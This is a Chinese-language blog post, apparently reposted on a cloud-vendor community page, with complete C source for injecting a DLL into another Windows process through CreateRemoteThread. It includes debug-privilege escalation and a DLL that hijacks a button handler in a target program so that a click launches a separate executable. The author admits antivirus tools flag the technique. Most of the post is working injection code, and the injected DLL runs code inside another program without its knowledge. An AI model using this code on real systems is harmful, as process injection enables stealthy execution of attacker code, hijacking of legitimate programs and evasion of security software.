利用遠程線程將代碼注入到目標進程中執行

來源:互聯網
上載者:User

/* ************************************
* remote.c
* 建立遠程線程、將代碼注入到其他進程中執行
**************************************/
/* 標頭檔 */
#include <windows.h>
#include <Tlhelp32.h>

/*************************************
* BOOL EnablePrivilege (PCSTR name)
* 功能 提升本許可權
*防止有些進程我們許可權不夠,打不開人家
* 參數 PCSTR name 所需的許可權
* 返回是否成功
**************************************/
DWORD EnablePrivilege (PCSTR name)
{
 HANDLE hToken;
 BOOL rv;
 //設定結構
 TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
 // 尋找許可權值
 LookupPrivilegeValue (
  0,
  name,
  &priv.Privileges[0].Luid
  );
 // 開啟本進程Token
 OpenProcessToken(
  GetCurrentProcess (),
  TOKEN_ADJUST_PRIVILEGES,
  &hToken
  );
 // 提權
 AdjustTokenPrivileges (
  hToken,
  FALSE,
  &priv,
  sizeof priv,
  0,
  0
  );
 // 傳回值,錯誤資訊,如果操作成功,則應為ERROR_SUCCESS,為O
 rv = GetLastError();
 // 關閉Token
 CloseHandle (hToken);
 return rv;
}

/*************************************
* BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
* 功能 通過建立遠程線程給其他進程載入Dll
*
* 參數 DWORD dwProcessId 目標進程PID
*  LPTSTR lpszLibName Dll的路徑
* 返回是否成功
**************************************/
BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
{
 BOOL   bResult          = FALSE;
 HANDLE hProcess         = NULL;
 HANDLE hThread          = NULL;
 PSTR   pszLibFileRemote = NULL;
 DWORD  cch;
 PTHREAD_START_ROUTINE pfnThreadRtn;

 __try
 {
  // 獲得想要注入代碼的進程的控制代碼.
  hProcess = OpenProcess(
   PROCESS_ALL_ACCESS,
   FALSE,
   dwProcessId
   );

  if (hProcess == NULL)
   __leave;

  // 計算DLL路徑名需要的位元組數.
  cch = 1 + lstrlen(lpszLibName);

  // 在遠程線程中為路徑名分配空間.
  pszLibFileRemote = (PSTR)VirtualAllocEx(
   hProcess,
   NULL,
   cch,
   MEM_COMMIT,
   PAGE_READWRITE
   );

  if (pszLibFileRemote == NULL)
   __leave;

  // 將DLL的路徑名複製到遠程進程的記憶體空間.
  if (!WriteProcessMemory(
   hProcess,
   (PVOID)pszLibFileRemote,
   (PVOID)lpszLibName,
   cch,
   NULL))
   __leave;

  // 獲得LoadLibraryA在Kernel32.dll中的真正地址.
  pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
   GetModuleHandle(TEXT("Kernel32")), TEXT("LoadLibraryA"));

  if (pfnThreadRtn == NULL)
   __leave;

  // 建立遠程線程,並通過遠程線程調用使用者的DLL檔案.
  hThread = CreateRemoteThread(
   hProcess,
   NULL,
   0,
   pfnThreadRtn,
   (PVOID)pszLibFileRemote,
   0,
   NULL
   );
  if (hThread == NULL)
   __leave;

  // 等待遠程線程終止.
  WaitForSingleObject(hThread, INFINITE);
  bResult = TRUE;
 }
 __finally
 {
  // 關閉控制代碼.
  if (pszLibFileRemote != NULL)
   VirtualFreeEx(hProcess, (PVOID)pszLibFileRemote, 0, MEM_RELEASE);
  if (hThread  != NULL)
   CloseHandle(hThread);
  if (hProcess != NULL)
   CloseHandle(hProcess);
 }
 return bResult;
}
/*************************************
* BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
* 功能 通過進程名擷取進程PID
*
* 參數 LPSTR szProcessName 進程名
*  LPDWORD lpPID  指向儲存PID的變數
* 返回是否成功
**************************************/
BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
{
 // 變數及初始化
 STARTUPINFO st;
 PROCESS_INFORMATION pi;
 PROCESSENTRY32 ps;
 HANDLE hSnapshot;
 ZeroMemory(&st, sizeof(STARTUPINFO));
 ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
 st.cb = sizeof(STARTUPINFO);
 ZeroMemory(&ps,sizeof(PROCESSENTRY32));
 ps.dwSize = sizeof(PROCESSENTRY32);
 // 遍曆進程
 hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
 if(hSnapshot == INVALID_HANDLE_VALUE)
 {
  return FALSE;
 }

 if(!Process32First(hSnapshot,&ps))
 {
  return FALSE;
 }
 do
 {
  // 比較進程名
  if(lstrcmpi(ps.szExeFile,"工程1.exe")==0)//為了明了這裡沒用szProcessName
  {
   // 找到了
   *lpPID = ps.th32ProcessID;
   CloseHandle(hSnapshot);
   return TRUE;
  }
 }
 while(Process32Next(hSnapshot,&ps));
 // 沒有找到
 CloseHandle(hSnapshot);
 return FALSE;
}
/*************************************
* int WinMain(
*   HINSTANCE hInstance,
*   HINSTANCE hPrevInstance,
*   LPSTR lpCmdLine,
*   int nCmdShow
*   )
**************************************/
int WINAPI WinMain(
   HINSTANCE hInstance,
   HINSTANCE hPrevInstance,
   LPSTR lpCmdLine,
   int nCmdShow
   )
{
 DWORD dwPID;
 // 提權,擷取SE_DEBUG_NAME許可權,
 // 可以在其他進程的記憶體空間中寫入、建立線程
 if(0!=EnablePrivilege (SE_DEBUG_NAME))
  return 0;
 // 擷取目錄進程的PID
 if(!GetProcessIdByName("工程1.exe",&dwPID))
  return 0;
 // 通過建立遠程線程載入DLL
 // 將msg.dll放置在系統目錄下,這裡是相對路徑嘛
 if(!LoadRometeDll(dwPID,"msg.dll"))
  return 0;
 return 1;
}

 

/* ************************************
* msg.c
* 動態連結程式庫
**************************************/
/* 標頭檔 */
#include <Windows.h>

//全域變數
   HWND hDlg;
   HWND hWnd;
   WNDPROC OldWndProc;
   //WNDPROC OldWndProc1;

   //子視窗控制項的視窗過程
LRESULT CALLBACK NewWndProc(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
{
    STARTUPINFO si={sizeof(si)};
   //si.cb=sizeof(STARTUPINFO);
   //si.wShowWindow=SW_SHOW;
   //si.dwFlags=STARTF_USESHOWWINDOW;
   PROCESS_INFORMATION pi;
 switch(Msg)
 {
 case WM_KEYDOWN:
  MessageBox(hWnd,"s","f",0);
  return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
  //return 0;
  break;
 case WM_LBUTTONDOWN:
  //MessageBox(NULL,"b","s",0);
  //SetFocus(hWnd);

  CreateProcess(NULL,"C://Documents and Settings//Administrator//案頭//2.exe",NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
  return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);

 // return 0;
  break;

 default:
  return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
 }
 return 0;
}

/*************************************
* DllMain
**************************************/
BOOL WINAPI DllMain(
     HINSTANCE hinstDLL,  // DLL模組的控制代碼
     DWORD fdwReason,     // 調用的情況
     LPVOID lpReserved )  // reserved
{
 // 在不同的情況下都會調用DllMain函數,分別處理
 switch( fdwReason )
 {
  // 載入Dll
 case DLL_PROCESS_ATTACH:
  {

//測試而已,無其他不良目的

   CHAR lpMainMoudleName[MAX_PATH]="sdfsfsdf";
   CHAR lpMessage[MAX_PATH+64];
   // 擷取PID 和主模組名,將彈出訊息框
   DWORD dwPID = GetCurrentProcessId();
   //GetModuleBaseName(GetCurrentProcess(),NULL,lpMainMoudleName,MAX_PATH);
   wsprintf(lpMessage,"Process name: %s, PID: %u ",lpMainMoudleName,dwPID);
   MessageBox(NULL,lpMessage,"msg.dll",MB_OK);
    hDlg=FindWindow(NULL,"Form1");//視窗標題Form1
    hWnd=GetDlgItem(hDlg,2);//command1的控制項ID,可以藉助SPY++得到
    OldWndProc=(WNDPROC)SetWindowLong(hWnd,GWL_WNDPROC,(LONG)NewWndProc);
   break;
  }
  // 建立線程
 case DLL_THREAD_ATTACH:
  break;
  // 線程退出
 case DLL_THREAD_DETACH:
  break;
  // 釋放Dll
 case DLL_PROCESS_DETACH:

  break;
 }
 return TRUE;
}

 

簡單說明:

1.遠程注入的代碼基本都是一個模板,能夠套用的,這裡藉助了精通WINDOWS API中的代碼來完成的,注釋相對比較全面了吧,為了實現特定的目標:替換VB工程中command1按鈕的訊息響應,因此在動態連結程式庫中用到了視窗子類化,一點很重要的過程就是利用進程ID如何去擷取視窗控制代碼,這裡簡單的用到了FINDWINDOW函數,當然方法還是有不少的,比如看雪論壇中就有類似的文章,是自己定義一個函數來完成此功能的,可以做個參考。

2.工程1.exe是一個VB的對話方塊,上面放置了2個按鈕,分別是command1,command2,點擊會各自響應自己的訊息處理過程(VB中實現的),利用上面的代碼可以實現注入到這個工程1.exe程式中,結果就是當我們點擊command1的時候可以響應我們自己的處理過程,比如上述就是執行了案頭上的2.exe,然後再返回預設的處理過程,這裡如果注釋掉return callwindowproc就只會出現我們自己的處理了,原本VB中實現的將被我們上述工程所屏蔽掉了。

3.如果想要很明顯的看到效果,那完全可以先自己運行工程1.exe,然後在運行上述編譯好的EXE,此時一切將不再是以前那樣了,偷梁換柱已經果斷實現了。

4.其實也可以把所有代碼都寫入到目標進程的地址空間中,這樣就能避免使用DLL了,但是在DLL中實現有個很大的好處就是不需要把很複雜的東西全部writeprocessmemory到目標進程地址空間中,大大簡化了實現過程。

5.順便說一句,寫的這個程式由於用到了createremotethread,所以會被金山等系列提示(大家懂的),僅僅是個實驗罷了。完整的工程暫時就不上傳了吧,如果有需要的話,再上傳或者發郵件也可以,畢竟不是很“光彩”的東西。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.